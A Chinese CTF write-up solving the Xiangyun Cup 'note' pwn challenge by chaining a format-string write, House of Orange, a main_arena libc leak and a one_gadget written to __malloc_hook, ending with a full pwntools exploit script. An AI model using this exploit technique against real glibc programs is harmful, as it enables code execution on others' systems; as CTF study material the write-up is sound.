第二届“祥云杯”pwn_note

这题是格式化字符串漏洞 + House Of Orange + __malloc_hook 组合利用,难度倒也不是很难,对于我这种新手学到了不少东西。

但是我觉得这里并不是的格式化字符串漏洞,倒不如说是故意构造的逻辑漏洞,姑且称它为格式化字符串漏洞吧。

思路:

house of orange:通过修改 top chunk 的 size,来触发 brk 扩展堆段,之后原有的 top chunk 会被置于 unsorted bin 中。本题再直接 show 泄露 main_arena 计算偏移得到 libc。

这里格式化字符串漏洞的利用可以任意地址写,先是修改 top chunk 的 size,再通过 relloc 调整栈帧利用 __malloc_hook 调用 one_gadget。

check:
file
64位,全开,libc是2.23的

三个操作:
file
没有 free,就是 house of orange 的利用办法

say:
file
这里的格式化字符串漏洞,是没有回显的,scanf构造任意地址写。

add:
file
这 add 没什么问题,常规申请堆块。

show:没看的,就是按 chunk 地址输出,不考虑 chunk 的使用状态

步骤:

正常申请一个 0x10 之后,可以看到 top chunk_siez 为 0x20fe1
file

1、利用格式化字符串漏洞进行修改:

def say(content1,content2):
    p.sendlineafter('choice: ', '2')
    p.sendlineafter('say ? ', str(content1))
    p.sendlineafter('? ', str(content2).encode())

chunk1=int(add(0x10,'aaaa'),16)
#gdb.attach(p)
say('%7$daaaa'+p64(chunk1+0x18),0x0fe1)

file
确实修改成功
这里修改的值,要符合4k对齐, 可以是 0x0fe1、0x1fe1、0x2fe1、0x3fe1 等,不满足无法利用。

2、由于本题一次申请最大就 0x100 ,所以要把 0xfe1 用完得申请16次
file
用 for 循环申请16次,之前剩下的 0xe1 确实释放到了 unsorted bin

file

3、然后我们再次申请一个小于剩下 size 的 chunk 就能从这里面分割一块出来了

file
这里的 0x561ae3980f00 就是我们当前申请的 chunk
注意这里的一个小坑,之前脑子瓦特了

下面这里无论怎么写都会杯覆盖两个字节,只写入 p8(0) 的话,输出会有\00截断,泄露出来的地址就是不完整的,无法利用
file

想了好一会儿,才回过神来,这个 chunk 有两个地址啊,我泄露后面这四字节不就行了嘛,我写入七个字符,再加上那个 0x0a(sendline()的换行) ,不就没有 \00 了吗,后面的地址也是完整的了,再计算一下偏移就完了。
file

4、接下来就是向 __malloc_hook 写入 one_gadget 了,但是实际尝试下来,基本都无法直接利用 one_gadget,考虑用 realloc 来调整栈

#这里还是分两次写比较好,'ld'表示写入长度为长整型,不然写不下。
#向 __realloc_hook 写入 one_gadget
say('%7$ldaaa'+p64(malloc_hook-0x8),one_gadget)
#向 malloc_hook 写入 realloc 的地址+偏移
say('%7$ldaaa'+p64(malloc_hook),realloc+12)

file
成功写入

EXP:

from pwn import *

p = process('./note')
#p = remote('47.104.70.90', 25315)
context.log_level='debug'
elf = ELF('note')
libc = ELF('libc-2.23.so')

def add(size,content):
    p.sendlineafter('choice: ', '1')
    p.sendlineafter('size: ',str(size))
    p.sendlineafter('content: ',str(content))
    p.recvuntil('addr: ')
    return p.recv(14)

def say(content1,content2):
    p.sendlineafter('choice: ',str(2))
    p.sendlineafter('say ? ',str(content1))
    p.sendlineafter('? ',str(content2))

def show():
    p.sendlineafter('choice: ', '3')

chunk1=int(add(0x10,'aaaa'),16)
#gdb.attach(p)
say('%7$daaaa'+p64(chunk1+0x18),0x0fe1)
#size_max=0x100
for i in range(0,15):
    unchunk= add(0x100,'a')

unchunk=add(0x10,'a'*7)
show()
#print(p.recv())
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0xc48+0xb78

print('main_arena:',hex(main_arena))
#gdb.attach(p)
offset=0x3c4b78
libc_base=main_arena-offset
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['realloc']
print('libc_base:',hex(libc_base))
print('malloc:',hex(malloc_hook))
print('realloc:',hex(realloc))

one2=[0x45206, 0x4525a, 0xef9f4, 0xf0897]
one1=[0x45226, 0x4527a, 0xf03a4, 0xf1247]

one_gadget=libc_base+one2[1]
print('one_gadget:',hex(one_gadget))
print(unchunk)

say('%7$ldaaa'+p64(malloc_hook-0x8),one_gadget)
#gdb.attach(p)
say('%7$ldaaa'+p64(malloc_hook),realloc+12)
#gdb.attach(p)
p.sendlineafter('choice: ',str(1))
p.sendlineafter('size: ',str(1))
p.interactive()

file

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据